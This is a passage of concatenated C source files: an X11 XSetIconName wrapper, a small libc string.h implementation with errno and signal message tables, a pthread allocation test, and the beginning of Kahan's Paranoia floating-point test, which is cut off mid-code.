XSetIconName ( register Display *dpy, Window w, _Xconst char *icon_name) { return XChangeProperty(dpy, w, XA_WM_ICON_NAME, XA_STRING, 8, PropModeReplace, (_Xconst unsigned char *)icon_name, icon_name ? (int) strlen(icon_name) : 0); }
the_stack_data/150140499.c
#include "string.h" #include "errno.h" /****************************************************************************** * * Private Access * *****************************************************************************/ extern int memcmp_sse2_entry(); static char* _sig_strings[] = { 0, "Hangup.", "Terminal interrupt signal.", "Terminal quit signal.", "Illegal instruction.", "Trace/breakpoint trap.", "Process abort signal.", "Access to an undefined portion of a memory object.", "Erroneous arithmetic operation.", "Kill (cannot be caught or ignored).", "User-defined signal 1.", "Invalid memory reference.", "User-defined signal 2.", "Write on a pipe with no one to read it.", "Alarm clock.", "Termination signal.", 0, "Child process terminated, stopped, or continued.", "Continue executing, if stopped.", "Stop executing (cannot be caught or ignored).", "Terminal stop signal.", "Background process attempting read.", "Background process attempting write.", "High bandwidth data is available at a socket.", "CPU time limit exceeded.", "File size limit exceeded.", "Virtual timer expired.", "Profiling timer expired.", 0, "Pollable event.", 0, "Bad system call." }; static char* _errno_strings[] = { 0, "Operation not permitted", "No such file or directory", "No such process", "Interrupted system call", "Input/output error", "No such device or address", "Argument list too long", "Exec format error", "Bad file descriptor", "No child processes", "Resource temporarily unavailable", "Cannot allocate memory", "Permission denied", "Bad address", 0, "Device or resource busy", "File exists", "Invalid cross-device link", "No such device", "Not a directory", "Is a directory", "Invalid argument", "Too many open files in system", "Too many open files", "Inappropriate ioctl for device", "Text file busy", "File too large", "No space left on device", "Illegal seek", "Read-only file system", "Too many links", "Broken pipe", "Numerical argument out of domain", "Numerical result out of range", "Resource deadlock avoided", "File name too long", "No locks available", "Function not implemented", "Directory not empty", "Too many levels of symbolic links", 0, "No message of desired type", "Identifier removed", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "Device not a stream", "No data available", "Timer expired", "Out of streams resources", 0, 0, 0, "Link has been severed", 0, 0, 0, "Protocol error", "Multihop attempted", 0, "Bad message", "Value too large for defined data type", 0, 0, 0, 0, 0, 0, 0, 0, "Invalid or incomplete multibyte or wide character", 0, 0, 0, "Socket operation on non-socket", "Destination address required", "Message too long", "Protocol wrong type for socket", "Protocol not available", "Protocol not supported", 0, "Operation not supported", 0, "Address family not supported by protocol", "Address already in use", "Cannot assign requested address", "Network is down", "Network is unreachable", "Network dropped connection on reset", "Software caused connection abort", "Connection reset by peer", "No buffer space available", "Transport endpoint is already connected", "Transport endpoint is not connected", 0, 0, "Connection timed out", "Connection refused", 0, "No route to host", "Operation already in progress", "Operation now in progress", "Stale file handle", 0, 0, 0, 0, 0, "Disk quota exceeded", 0, 0, "Operation canceled", 0, 0, 0, 0, "Owner died", "State not recoverable" }; static size_t _errno_string_sizes[] = { 0, 24, 26, 16, 24, 19, 26, 23, 18, 20, 19, 33, 23, 18, 12, 0, 24, 12, 26, 15, 16, 15, 17, 30, 20, 31, 15, 15, 24, 13, 22, 15, 12, 33, 30, 26, 19, 19, 25, 20, 34, 0, 27, 19, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 18, 14, 25, 0, 0, 0, 22, 0, 0, 0, 15, 19, 0, 12, 38, 0, 0, 0, 0, 0, 0, 0, 0, 50, 0, 0, 0, 31, 29, 17, 31, 23, 23, 0, 24, 0, 41, 23, 32, 16, 23, 36, 33, 25, 26, 40, 36, 0, 0, 21, 19, 0, 17, 30, 26, 18, 0, 0, 0, 0, 0, 20, 0, 0, 19, 0, 0, 0, 0, 11, 22 }; static inline void* memccpy_generic(unsigned char *__restrict__ s1, const unsigned char *__restrict__ s2, unsigned char c, size_t n) { register unsigned char* end_address = s1 + n; register unsigned char current_value = *s2; while (s1 != end_address && current_value != c) { current_value = *s2++; *s1++ = current_value; } return (s1 != end_address) ? s1 : 0; } static inline void* memchr_generic(const unsigned char* s, char c, size_t n) { register unsigned char* end_address = (void*)(s + n); while (s != end_address && *s++ != c); return (s != end_address) ? (void*)--s : 0; } #ifdef __x86_64__ static inline int memcmp_x86_64_fast(const void* s1, const void* s2, size_t n) { __asm__ __volatile__("\t movq %0, %%rdi" : : "g" (s1)); __asm__ __volatile__("\t movq %0, %%rsi" : : "g" (s2)); __asm__ __volatile__("\t movq %0, %%rdx" : : "g" (n)); return memcmp_sse2_entry(); } #else static inline int memcmp_generic(const unsigned char* s1, const unsigned char* s2, size_t n) { register unsigned char* end_address = (void*)s1 + n; while (s1 != end_address && *s1++ == *s2++); return (--s1 == end_address) ? 0 : *s1 - *--s2; } #endif static inline void* memcpy_generic(unsigned char *__restrict__ s1, const unsigned char *__restrict__ s2, size_t n) { register void* start_address = s1; register unsigned char* end_address = (void*)s1 + n; while (s1 != end_address) *s1++ = *s2++; return start_address; } static inline void* memset_generic(unsigned char* s, char c, size_t n) { register void* start_address = s; register unsigned char* end_address = (void*)s + n; while (s != end_address) *s++ = c; return start_address; } static inline int strcmp_generic(const char* s1, const char* s2) { register size_t offset = s2 - s1; while (*s1 && s1[offset] && *s1 == s1[offset]) ++s1; return *s1 - s1[offset]; } static inline size_t strcspn_generic(const char* s1, const char* s2) { register const char* iter = s1; register const char* character_set = s2; while (*iter) { while (*character_set) { if (*character_set == *iter) goto calculate_length; ++character_set; } ++iter; character_set = s2; } calculate_length: return iter - s1; } static inline char* stpncpy_generic(char* __restrict__ s1, const char* __restrict__ s2, size_t n) { register char* iter = s1; register char* result; while ((size_t)(iter - s1) < n && *s2) *iter++ = *s2++; result = iter; while ((size_t)(iter - s1) < n) *iter++ = 0; return result; } static inline size_t strlen_generic(const char* s) { register size_t length = -1; while (s[++length]); return length; } static inline int strncmp_generic(const char* s1, const char* s2, size_t n) { register size_t offset = 0; --n; // Match length to offset while (offset != n && s1[offset] && s2[offset] && s1[offset] == s2[offset]) ++offset; return s1[offset] - s2[offset]; } static inline char* strncpy_generic(char* __restrict__ s1, const char* __restrict__ s2, size_t n) { register char* iter = s1; while ((size_t)(iter - s1) < n && *s2) *iter++ = *s2++; while ((size_t)(iter - s1) < n) *iter++ = 0; return s1; } static inline size_t strnlen_generic(const char* s, size_t maxlen) { register size_t length = -1; register size_t limit = maxlen; while (limit != length && s[++length]); return length; } static inline char* strchr_generic(const char* s, char c) { register char* pos = (char*)s; while (*pos && *pos != c) ++pos; if (!c) return pos; return *pos ? pos : 0; } #ifdef __x86_64__ static inline char* stpcpy_x86_64_fast(char *__restrict__ s1, const char *__restrict__ s2) { int rsrc, rdst; __asm__ __volatile__( "1: \tlodsb\n\t;" // loads byte at *SI to register AL, increments SI "stosb\n\t;" // stores byte at *DI from register AL, increments DI "testb %%al,%%al\n\t;" // sets flags based on value in AL "jne 1b;" // repeat if AL is non zero : "=&S" (rsrc), "=&D" (rdst) : "0" (s2), "1" (s1) ); __asm__ __volatile__("\t movq %%rdi,%0" : "=r"(s1)); // Get DI value return --s1; } #else static inline char* stpcpy_generic(char *__restrict__ s1, const char *__restrict__ s2) { while ((*s1++ = *s2++)); return --s1; } #endif #ifdef __x86_64__ static inline char* strcpy_x86_64_fast(char *__restrict__ s1, const char *__restrict__ s2) { int rsrc, rdst; __asm__ __volatile__( "1: \tlodsb\n\t;" // loads byte at *SI to register AL, increments SI "stosb\n\t;" // stores byte at *DI from register AL, increments DI "testb %%al,%%al\n\t;" // sets flags based on value in AL "jne 1b;" // repeat if AL is non zero : "=&S" (rsrc), "=&D" (rdst) : "0" (s2), "1" (s1) ); return s1; } #else static inline char* strcpy_generic(char *__restrict__ s1, const char *__restrict__ s2) { register char* start_address = s1; while ((*s1++ = *s2++)); return start_address; } #endif /****************************************************************************** * * Public Access * *****************************************************************************/ /****************************************************************************** * * The memccpy() function copies bytes from memory area s2 into s1, * stopping after the first occurrence of byte c (converted to an unsigned * char) is copied, or after n bytes are copied, whichever comes first. If * copying takes place between objects that overlap, the behavior is undefined. * * The memccpy() function returns a pointer to the byte after the copy of c in * s1, or a null pointer if c was not found in the first n bytes of s2. * *****************************************************************************/ void *memccpy(void *__restrict__ s1, const void *__restrict__ s2, int c, size_t n) { return memccpy_generic((unsigned char*)s1, (const unsigned char*)s2, (unsigned char)c, n); } /****************************************************************************** * * The memchr() function locates the first occurrence of c (converted to an * unsigned char) in the initial n bytes (each interpreted as unsigned char) of * the object pointed to by s. * * The memchr() function returns a pointer to the located byte, or a null * pointer if the byte does not occur in the object. * *****************************************************************************/ void *memchr(const void *s, int c, size_t n) { return memchr_generic((const unsigned char*)s, (unsigned char)c, n); } /****************************************************************************** * * The memcmp() function compares the first n bytes (each interpreted as * unsigned char) of the object pointed to by s1 to the first n bytes of the * object pointed to by s2. * The sign of a non-zero return value shall be determined by the sign of the * difference between the values of the first pair of bytes (both interpreted * as type unsigned char) that differ in the objects being compared. * * The memcmp() function returns an integer greater than, equal to, or less * than 0, if the object pointed to by s1 is greater than, equal to, or less * than the object pointed to by s2, respectively. * ******************************************************************************/ int memcmp(const void *s1, const void *s2, size_t n) { #ifdef __x86_64__ return memcmp_x86_64_fast(s1, s2, n); #else return memcmp_generic((const unsigned char*)s1, (const unsigned char*)s2, n); #endif } /****************************************************************************** * * The memcpy() function copies n bytes from the object pointed to by s2 into * the object pointed to by s1. If copying takes place between objects that * overlap, the behavior is undefined. * * The memcpy() function returns s1; no return value is reserved to indicate * an error. * ******************************************************************************/ void *memcpy(void *__restrict__ s1, const void *__restrict__ s2, size_t n) { return memcpy_generic((unsigned char*)s1, (const unsigned char*)s2, n); } /****************************************************************************** * * The memmove() function copies n bytes from the object pointed to by s2 into * the object pointed to by s1. Copying takes place as if the n bytes from the * object pointed to by s2 are first copied into a temporary array of n bytes * that does not overlap the objects pointed to by s1 and s2, and then the n * bytes from the temporary array are copied into the object pointed to by s1. * * The memmove() function returns s1; no return value is reserved to indicate * an error. * ******************************************************************************/ void *memmove(void *s1, const void *s2, size_t n) { register unsigned char* _s1; register const unsigned char* _s2; register const unsigned char* end_address; if (s2 < s1) { _s1 = (unsigned char*)s1 + (n - 1); _s2 = (const unsigned char*)s2 + (n - 1); end_address = (unsigned char*)s1; while (_s1 >= end_address) *_s1-- = *_s2--; } else { _s1 = s1; _s2 = s2; end_address = (unsigned char*)s1 + n; while (_s1 < end_address) *_s1++ = *_s2++; } return s1; } /****************************************************************************** * * The memset() function copies c (converted to an unsigned char) into each of * the first n bytes of the object pointed to by s. * * The memset() function returns s; no return value is reserved to indicate * an error. * ******************************************************************************/ void *memset(void *s, int c, size_t n) { return memset_generic((unsigned char*)s, (unsigned char)c, n); } /****************************************************************************** * * The strchr() function locates the first occurrence of c (converted to a * char) in the string pointed to by s. The terminating NUL character is * considered to be part of the string. * * Upon completion, strchr() returns a pointer to the byte, or a null pointer * if the byte was not found. * *****************************************************************************/ char *strchr(const char *s, int c) { return strchr_generic(s, (char)c); } /****************************************************************************** * * The strcmp() function compares the string pointed to by s1 to the * string pointed to by s2. The sign of a non-zero return value is determined * by the sign of the difference between the values of the first pair of bytes * (both interpreted as type unsigned char) that differ in the strings * being compared. * * Upon completion, strcmp() returns an integer greater than, equal to, or * less than 0, if the string pointed to by s1 is greater than, equal to, or * less than the string pointed to by s2, respectively. * *****************************************************************************/ int strcmp(const char *s1, const char *s2) { return strcmp_generic(s1, s2); } /****************************************************************************** * * The strcspn() function computes the length (in bytes) of the maximum * initial segment of the string pointed to by s1 which consists entirely of * bytes not from the string pointed to by s2. * * The strcspn() function returns the length of the computed segment of the * string pointed to by s1; no return value is reserved to indicate an error. * *****************************************************************************/ size_t strcspn(const char *s1, const char *s2) { return strcspn_generic(s1, s2); } /****************************************************************************** * * The strerror() function maps the error number in errnum to a * locale-dependent error message string and returns a pointer to it. * Typically, the values for errnum come from errno, but strerror() maps any * value of type int to a message. * * The string pointed to shall not be modified by the application. The string * may be overwritten by a subsequent call to strerror(). * * If the value of errnum is a valid error number, the message string indicates * what error occurred. Otherwise the return value will be set to NULL. The * errno variable can be checked for EINVAL. * *****************************************************************************/ char *strerror(int errnum) { if (errnum < 0 || errnum > 131) { errno = EINVAL; return 0; } return _errno_strings[errnum]; } /****************************************************************************** * * The strerror_r() function maps the error number in errnum to a * locale-dependent error message string and copies it to strerrbuf. * Typically, the values for errnum come from errno, but strerror_r() maps any * value of type int to a message. * * Upon successful completion, strerror_r() returns 0. Otherwise, -1 will be * returned to indicate the error. * * If the value of errnum is a valid error number, strerrbuf indicates * what error occurred. The errno variable can be checked for EINVAL, if errnum * is unkown. * * The errno variable will be set to ERANGE, if buflen is too small to contain * the generated message string. * *****************************************************************************/ int strerror_r(int errnum, char *strerrbuf, size_t buflen) { if (errnum < 0 || errnum > 131) { errno = EINVAL; return -1; } if (_errno_string_sizes[errnum] > buflen) { errno = ERANGE; return -1; } memcpy(strerrbuf, _errno_strings[errnum], _errno_string_sizes[errnum]); return 0; } /****************************************************************************** * * The strlen() function computes the number of bytes in the string to which * s points, not including the terminating NUL character. * * The strlen() function returns the length of s; no return value is reserved * to indicate an error. * *****************************************************************************/ size_t strlen(const char *s) { return strlen_generic(s); } /****************************************************************************** * * The strncmp() function compares not more than n bytes (bytes that follow a * NUL character are not compared) from the array pointed to by s1 to the array * pointed to by s2. The sign of a non-zero return value is determined by the * sign of the difference between the values of the first pair of bytes * (both interpreted as type unsigned char) that differ in the strings * being compared. * * Upon successful completion, strncmp() returns an integer greater than, equal * to, or less than 0, if the possibly null-terminated array pointed to by s1 * is greater than, equal to, or less than the possibly null-terminated array * pointed to by s2 respectively. * *****************************************************************************/ int strncmp(const char *s1, const char *s2, size_t n) { return strncmp_generic(s1, s2, n); } /****************************************************************************** * * The stpcpy() function copies the string pointed to by src, including * the terminating null byte ('\0'), to the buffer pointed to by dest. * * If copying takes place between objects that overlap, the behavior is * undefined. * * The stpcpy function returns to the end of the string dest (that is, * the address of the terminating null byte) rather than the beginning. * *****************************************************************************/ char* stpcpy(char *__restrict__ dest, const char *__restrict__ src) { #ifdef __x86_64__ return stpcpy_x86_64_fast(dest, src); #else return stpcpy_generic(dest, src); #endif } /****************************************************************************** * * The stpncpy() function copies not more than n bytes (bytes that follow a NUL * character are not copied) from the array pointed to by s2 to the array * pointed to by s1. If the array pointed to by s2 is a string that is shorter * than n bytes, NUL characters are appended to the copy in the array pointed * to by s1, until n bytes in all are written. If copying takes place between * objects that overlap, the behavior is undefined. * * If a NUL character is written to the destination, the stpncpy() function * returns the address of the first such NUL character. Otherwise, it returns * &s1[n]. * * No return values are reserved to indicate an error. * *****************************************************************************/ char *stpncpy(char *__restrict__ s1, const char *__restrict__ s2, size_t n) { return stpncpy_generic(s1, s2, n); } /****************************************************************************** * * The strcpy() function copies the string pointed to by src, including * the terminating null byte ('\0'), to the buffer pointed to by dest. * * If copying takes place between objects that overlap, the behavior is * undefined. * * The strcpy function returns a pointer to the destination string dest. * *****************************************************************************/ char* strcpy(char *__restrict__ dest, const char *__restrict__ src) { #ifdef __x86_64__ return strcpy_x86_64_fast(dest, src); #else return strcpy_generic(dest, src); #endif } /****************************************************************************** * * The strncpy() function copies not more than n bytes (bytes that follow a NUL * character are not copied) from the array pointed to by s2 to the array * pointed to by s1. If the array pointed to by s2 is a string that is shorter * than n bytes, NUL characters are appended to the copy in the array pointed * to by s1, until n bytes in all are written. If copying takes place between * objects that overlap, the behavior is undefined. * * The strncpy() function returns s1. No return values are reserved to * indicate an error. * *****************************************************************************/ char *strncpy(char *__restrict__ s1, const char *__restrict__ s2, size_t n) { return strncpy_generic(s1, s2, n); } /****************************************************************************** * * The strnlen() function computes the smaller of the number of bytes in the * array to which s points, not including the terminating NUL character, or * the value of the maxlen argument. The strnlen() function never examines * more than maxlen bytes of the array pointed to by s. * * The strnlen() function returns an integer containing the smaller of either * the length of the string pointed to by s or maxlen. * *****************************************************************************/ size_t strnlen(const char *s, size_t maxlen) { return strnlen_generic(s, maxlen); } /****************************************************************************** * * The strsignal() function maps the signal number in signum to an * implementation-defined string and returns a pointer to it. It uses the same * set of messages as the psignal() function. * * The string pointed to is not be modified by the application, but may be * overwritten by a subsequent call to strsignal() or setlocale(). * The contents of the message strings returned by strsignal() is * determined by the setting of the LC_MESSAGES category in the current locale. * Since no return value is reserved to indicate an error, an application * wishing to check for error situations should set errno to 0, then call * strsignal(), then check errno for EINVAL. * * The strsignal() function is thread-safe. * * Upon successful completion, strsignal() shall returns a pointer to a * string. Otherwise, if signum is not a valid signal number, the return * value is set to NULL and errno gets set to EINVAL. * *****************************************************************************/ char *strsignal(int signum) { if (signum > 31 || signum < 0) { errno = EINVAL; return 0; } return _sig_strings[signum]; }
the_stack_data/23576631.c
#include <stdio.h> #include <time.h> #include <unistd.h> #include <pthread.h> #include <stdlib.h> #define num 1 int* pointer; void* kkk(void* k) { printf("EEE\n"); sleep(5); // #ifdef ALLOC pointer = malloc(65536 * sizeof(int)); // #endif sleep(5); return 0; } int main() { if(pointer == NULL) printf("hello, world\n"); sleep(5); pthread_t pid[num]; for(int i = 0; i < num; ++i) pthread_create(&pid[i], NULL, kkk, NULL); for(int i = 0; i < num; ++i) pthread_join(pid[i], NULL); printf("%ld\n", sizeof(pointer)); #ifdef ALLOC free(pointer); #endif printf("%p\n", pointer); sleep(5); return 0; }
the_stack_data/52879.c
/* A C version of Kahan's Floating Point Test "Paranoia" Thos Sumner, UCSF, Feb. 1985 David Gay, BTL, Jan. 1986 This is a rewrite from the Pascal version by B. A. Wichmann, 18 Jan. 1985 (and does NOT exhibit good C programming style). Adjusted to use Standard C headers 19 Jan. 1992 (dmg); compile with -DKR_headers or insert #define KR_headers at the beginning if you have an old-style C compiler. (C) Apr 19 1983 in BASIC version by: Professor W. M. Kahan, 567 Evans Hall Electrical Engineering & Computer Science Dept. University of California Berkeley, California 94720 USA converted to Pascal by: B. A. Wichmann National Physical Laboratory Teddington Middx TW11 OLW UK converted to C by: David M. Gay and Thos Sumner AT&T Bell Labs Computer Center, Rm. U-76 600 Mountain Avenue University of California Murray Hill, NJ 07974 San Francisco, CA 94143 USA USA with simultaneous corrections to the Pascal source (reflected in the Pascal source available over netlib). [A couple of bug fixes from dgh = sun!dhough incorporated 31 July 1986.] Reports of results on various systems from all the versions of Paranoia are being collected by Richard Karpinski at the same address as Thos Sumner. This includes sample outputs, bug reports, and criticisms. You may copy this program freely if you acknowledge its source. Comments on the Pascal version to NPL, please. The C version catches signals from floating-point exceptions. If signal(SIGFPE,...) is unavailable in your environment, you may #define NOSIGNAL to comment out the invocations of signal. This source file is too big for some C compilers, but may be split into pieces. Comments containing "SPLIT" suggest convenient places for this splitting. At the end of these comments is an "ed script" (for the UNIX(tm) editor ed) that will do this splitting. By #defining Single when you compile this source, you may obtain a single-precision C version of Paranoia. The following is from the introductory commentary from Wichmann's work: The BASIC program of Kahan is written in Microsoft BASIC using many facilities which have no exact analogy in Pascal. The Pascal version below cannot therefore be exactly the same. Rather than be a minimal transcription of the BASIC program, the Pascal coding follows the conventional style of block-structured languages. Hence the Pascal version could be useful in producing versions in other structured languages. Rather than use identifiers of minimal length (which therefore have little mnemonic significance), the Pascal version uses meaningful identifiers as follows [Note: A few changes have been made for C]: BASIC C BASIC C BASIC C A J S StickyBit A1 AInverse J0 NoErrors T B Radix [Failure] T0 Underflow B1 BInverse J1 NoErrors T2 ThirtyTwo B2 RadixD2 [SeriousDefect] T5 OneAndHalf B9 BMinusU2 J2 NoErrors T7 TwentySeven C [Defect] T8 TwoForty C1 CInverse J3 NoErrors U OneUlp D [Flaw] U0 UnderflowThreshold D4 FourD K PageNo U1 E0 L Milestone U2 E1 M V E2 Exp2 N V0 E3 N1 V8 E5 MinSqEr O Zero V9 E6 SqEr O1 One W E7 MaxSqEr O2 Two X E8 O3 Three X1 E9 O4 Four X8 F1 MinusOne O5 Five X9 Random1 F2 Half O8 Eight Y F3 Third O9 Nine Y1 F6 P Precision Y2 F9 Q Y9 Random2 G1 GMult Q8 Z G2 GDiv Q9 Z0 PseudoZero G3 GAddSub R Z1 H R1 RMult Z2 H1 HInverse R2 RDiv Z9 I R3 RAddSub IO NoTrials R4 RSqrt I3 IEEE R9 Random9 SqRWrng All the variables in BASIC are true variables and in consequence, the program is more difficult to follow since the "constants" must be determined (the glossary is very helpful). The Pascal version uses Real constants, but checks are added to ensure that the values are correctly converted by the compiler. The major textual change to the Pascal version apart from the identifiersis that named procedures are used, inserting parameters wherehelpful. New procedures are also introduced. The correspondence is as follows: BASIC Pascal lines 90- 140 Pause 170- 250 Instructions 380- 460 Heading 480- 670 Characteristics 690- 870 History 2940-2950 Random 3710-3740 NewD 4040-4080 DoesYequalX 4090-4110 PrintIfNPositive 4640-4850 TestPartialUnderflow =*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= Below is an "ed script" that splits para.c into 10 files of the form part[1-8].c, subs.c, and msgs.c, plus a header file, paranoia.h, that these files require. r paranoia.c $ ?SPLIT .d +d -,$w msgs.c -,$d ?SPLIT .d +d -,$w subs.c -,$d ?part8 +d ?include .,$w part8.c .,$d -d ?part7 +d ?include .,$w part7.c .,$d -d ?part6 +d ?include .,$w part6.c .,$d -d ?part5 +d ?include .,$w part5.c .,$d -d ?part4 +d ?include .,$w part4.c .,$d -d ?part3 +d ?include .,$w part3.c .,$d -d ?part2 +d ?include .,$w part2.c .,$d ?SPLIT .d 1,/^#include/-1d 1,$w part1.c /Computed constants/,$d 1,$s/^int/extern &/ 1,$s/^FLOAT/extern &/ 1,$s/^char/extern &/ 1,$s! = .*!;! /^Guard/,/^Round/s/^/extern / /^jmp_buf/s/^/extern / /^Sig_type/s/^/extern / s/$/\ extern void sigfpe(INT);/ w paranoia.h q */ #include <stdio.h> #ifndef NOSIGNAL #include <signal.h> #endif #include <setjmp.h> #ifdef Single #define FLOAT float #define FABS(x) (float)fabs((double)(x)) #define FLOOR(x) (float)floor((double)(x)) #define LOG(x) (float)log((double)(x)) #define POW(x,y) (float)pow((double)(x),(double)(y)) #define SQRT(x) (float)sqrt((double)(x)) #else #define FLOAT double #define FABS(x) fabs(x) #define FLOOR(x) floor(x) #define LOG(x) log(x) #define POW(x,y) pow(x,y) #define SQRT(x) sqrt(x) #endif jmp_buf ovfl_buf; #ifdef KR_headers #define VOID /* void */ #define INT /* int */ #define FP /* FLOAT */ #define CHARP /* char * */ #define CHARPP /* char ** */ extern double fabs(), floor(), log(), pow(), sqrt(); extern void exit(); typedef void (*Sig_type)(); FLOAT Sign(), Random(); extern void BadCond(); extern void SqXMinX(); extern void TstCond(); extern void notify(); extern int read(); #else #define VOID void #define INT int #define FP FLOAT #define CHARP char * #define CHARPP char ** #ifdef __STDC__ #include <stdlib.h> #include <math.h> #else #ifdef __cplusplus extern "C" { #endif extern double fabs(double), floor(double), log(double); extern double pow(double,double), sqrt(double); extern void exit(INT); #ifdef __cplusplus } #endif #endif typedef void (*Sig_type)(int); FLOAT Sign(FLOAT), Random(void); extern void BadCond(int, char*); extern void SqXMinX(int); extern void TstCond(int, int, char*); extern void notify(char*); extern int read(int, char*, int); #endif #undef V9 extern void Characteristics(VOID); extern void Heading(VOID); extern void History(VOID); extern void Instructions(VOID); extern void IsYeqX(VOID); extern void NewD(VOID); extern void Pause(VOID); extern void PrintIfNPositive(VOID); extern void SR3750(VOID); extern void SR3980(VOID); extern void TstPtUf(VOID); Sig_type sigsave; #define KEYBOARD 0 FLOAT Radix, BInvrse, RadixD2, BMinusU2; /*Small floating point constants.*/ FLOAT Zero = 0.0; FLOAT Half = 0.5; FLOAT One = 1.0; FLOAT Two = 2.0; FLOAT Three = 3.0; FLOAT Four = 4.0; FLOAT Five = 5.0; FLOAT Eight = 8.0; FLOAT Nine = 9.0; FLOAT TwentySeven = 27.0; FLOAT ThirtyTwo = 32.0; FLOAT TwoForty = 240.0; FLOAT MinusOne = -1.0; FLOAT OneAndHalf = 1.5; /*Integer constants*/ int NoTrials = 20; /*Number of tests for commutativity. */ #define False 0 #define True 1 /* Definitions for declared types Guard == (Yes, No); Rounding == (Chopped, Rounded, Other); Message == packed array [1..40] of char; Class == (Flaw, Defect, Serious, Failure); */ #define Yes 1 #define No 0 #define Chopped 2 #define Rounded 1 #define Other 0 #define Flaw 3 #define Defect 2 #define Serious 1 #define Failure 0 typedef int Guard, Rounding, Class; typedef char Message; /* Declarations of Variables */ int Indx; char ch[8]; FLOAT AInvrse, A1; FLOAT C, CInvrse; FLOAT D, FourD; FLOAT E0, E1, Exp2, E3, MinSqEr; FLOAT SqEr, MaxSqEr, E9; FLOAT Third; FLOAT F6, F9; FLOAT H, HInvrse; int I; FLOAT StickyBit, J; FLOAT MyZero; FLOAT Precision; FLOAT Q, Q9; FLOAT R, Random9; FLOAT T, Underflow, S; FLOAT OneUlp, UfThold, U1, U2; FLOAT V, V0, V9; FLOAT W; FLOAT X, X1, X2, X8, Random1; FLOAT Y, Y1, Y2, Random2; FLOAT Z, PseudoZero, Z1, Z2, Z9; int ErrCnt[4]; int fpecount; int Milestone; int PageNo; int M, N, N1; Guard GMult, GDiv, GAddSub; Rounding RMult, RDiv, RAddSub, RSqrt; int Break, Done, NotMonot, Monot, Anomaly, IEEE, SqRWrng, UfNGrad; /* Computed constants. */ /*U1 gap below 1.0, i.e, 1.0-U1 is next number below 1.0 */ /*U2 gap above 1.0, i.e, 1.0+U2 is next number above 1.0 */ /* floating point exception receiver */ void sigfpe(INT x) { fpecount++; printf("\n* * * FLOATING-POINT ERROR %d * * *\n", x); fflush(stdout); if (sigsave) { #ifndef NOSIGNAL signal(SIGFPE, sigsave); #endif sigsave = 0; longjmp(ovfl_buf, 1); } exit(1); } main(VOID) { /* First two assignments use integer right-hand sides. */ Zero = 0; One = 1; Two = One + One; Three = Two + One; Four = Three + One; Five = Four + One; Eight = Four + Four; Nine = Three * Three; TwentySeven = Nine * Three; ThirtyTwo = Four * Eight; TwoForty = Four * Five * Three * Four; MinusOne = -One; Half = One / Two; OneAndHalf = One + Half; ErrCnt[Failure] = 0; ErrCnt[Serious] = 0; ErrCnt[Defect] = 0; ErrCnt[Flaw] = 0; PageNo = 1; /*=============================================*/ Milestone = 0; /*=============================================*/ #ifndef NOSIGNAL signal(SIGFPE, sigfpe); #endif Instructions(); Pause(); Heading(); Pause(); Characteristics(); Pause(); History(); Pause(); /*=============================================*/ Milestone = 7; /*=============================================*/ printf("Program is now RUNNING tests on small integers:\n"); TstCond (Failure, (Zero + Zero == Zero) && (One - One == Zero) && (One > Zero) && (One + One == Two), "0+0 != 0, 1-1 != 0, 1 <= 0, or 1+1 != 2"); Z = - Zero; if (Z != 0.0) { ErrCnt[Failure] = ErrCnt[Failure] + 1; printf("Comparison alleges that -0.0 is Non-zero!\n"); U2 = 0.001; Radix = 1; TstPtUf(); } TstCond (Failure, (Three == Two + One) && (Four == Three + One) && (Four + Two * (- Two) == Zero) && (Four - Three - One == Zero), "3 != 2+1, 4 != 3+1, 4+2*(-2) != 0, or 4-3-1 != 0"); TstCond (Failure, (MinusOne == (0 - One)) && (MinusOne + One == Zero ) && (One + MinusOne == Zero) && (MinusOne + FABS(One) == Zero) && (MinusOne + MinusOne * MinusOne == Zero), "-1+1 != 0, (-1)+abs(1) != 0, or -1+(-1)*(-1) != 0"); TstCond (Failure, Half + MinusOne + Half == Zero, "1/2 + (-1) + 1/2 != 0"); /*=============================================*/ /*SPLIT { extern void part2(VOID), part3(VOID), part4(VOID), part5(VOID), part6(VOID), part7(VOID); int part8(VOID); part2(); part3(); part4(); part5(); part6(); part7(); return part8(); } } #include "paranoia.h" void part2(VOID){ */ Milestone = 10; /*=============================================*/ TstCond (Failure, (Nine == Three * Three) && (TwentySeven == Nine * Three) && (Eight == Four + Four) && (ThirtyTwo == Eight * Four) && (ThirtyTwo - TwentySeven - Four - One == Zero), "9 != 3*3, 27 != 9*3, 32 != 8*4, or 32-27-4-1 != 0"); TstCond (Failure, (Five == Four + One) && (TwoForty == Four * Five * Three * Four) && (TwoForty / Three - Four * Four * Five == Zero) && ( TwoForty / Four - Five * Three * Four == Zero) && ( TwoForty / Five - Four * Three * Four == Zero), "5 != 4+1, 240/3 != 80, 240/4 != 60, or 240/5 != 48"); if (ErrCnt[Failure] == 0) { printf("-1, 0, 1/2, 1, 2, 3, 4, 5, 9, 27, 32 & 240 are O.K.\n"); printf("\n"); } printf("Searching for Radix and Precision.\n"); W = One; do { W = W + W; Y = W + One; Z = Y - W; Y = Z - One; } while (MinusOne + FABS(Y) < Zero); /*.. now W is just big enough that |((W+1)-W)-1| >= 1 ...*/ Precision = Zero; Y = One; do { Radix = W + Y; Y = Y + Y; Radix = Radix - W; } while ( Radix == Zero); if (Radix < Two) Radix = One; printf("Radix = %f .\n", Radix); if (Radix != 1) { W = One; do { Precision = Precision + One; W = W * Radix; Y = W + One; } while ((Y - W) == One); } /*... now W == Radix^Precision is barely too big to satisfy (W+1)-W == 1 ...*/ U1 = One / W; U2 = Radix * U1; printf("Closest relative separation found is U1 = %.7e .\n\n", U1); printf("Recalculating radix and precision\n "); /*save old values*/ E0 = Radix; E1 = U1; E9 = U2; E3 = Precision; X = Four / Three; Third = X - One; F6 = Half - Third; X = F6 + F6; X = FABS(X - Third); if (X < U2) X = U2; /*... now X = (unknown no.) ulps of 1+...*/ do { U2 = X; Y = Half * U2 + ThirtyTwo * U2 * U2; Y = One + Y; X = Y - One; } while ( ! ((U2 <= X) || (X <= Zero))); /*... now U2 == 1 ulp of 1 + ... */ X = Two / Three; F6 = X - Half; Third = F6 + F6; X = Third - Half; X = FABS(X + F6); if (X < U1) X = U1; /*... now X == (unknown no.) ulps of 1 -... */ do { U1 = X; Y = Half * U1 + ThirtyTwo * U1 * U1; Y = Half - Y; X = Half + Y; Y = Half - X; X = Half + Y; } while ( ! ((U1 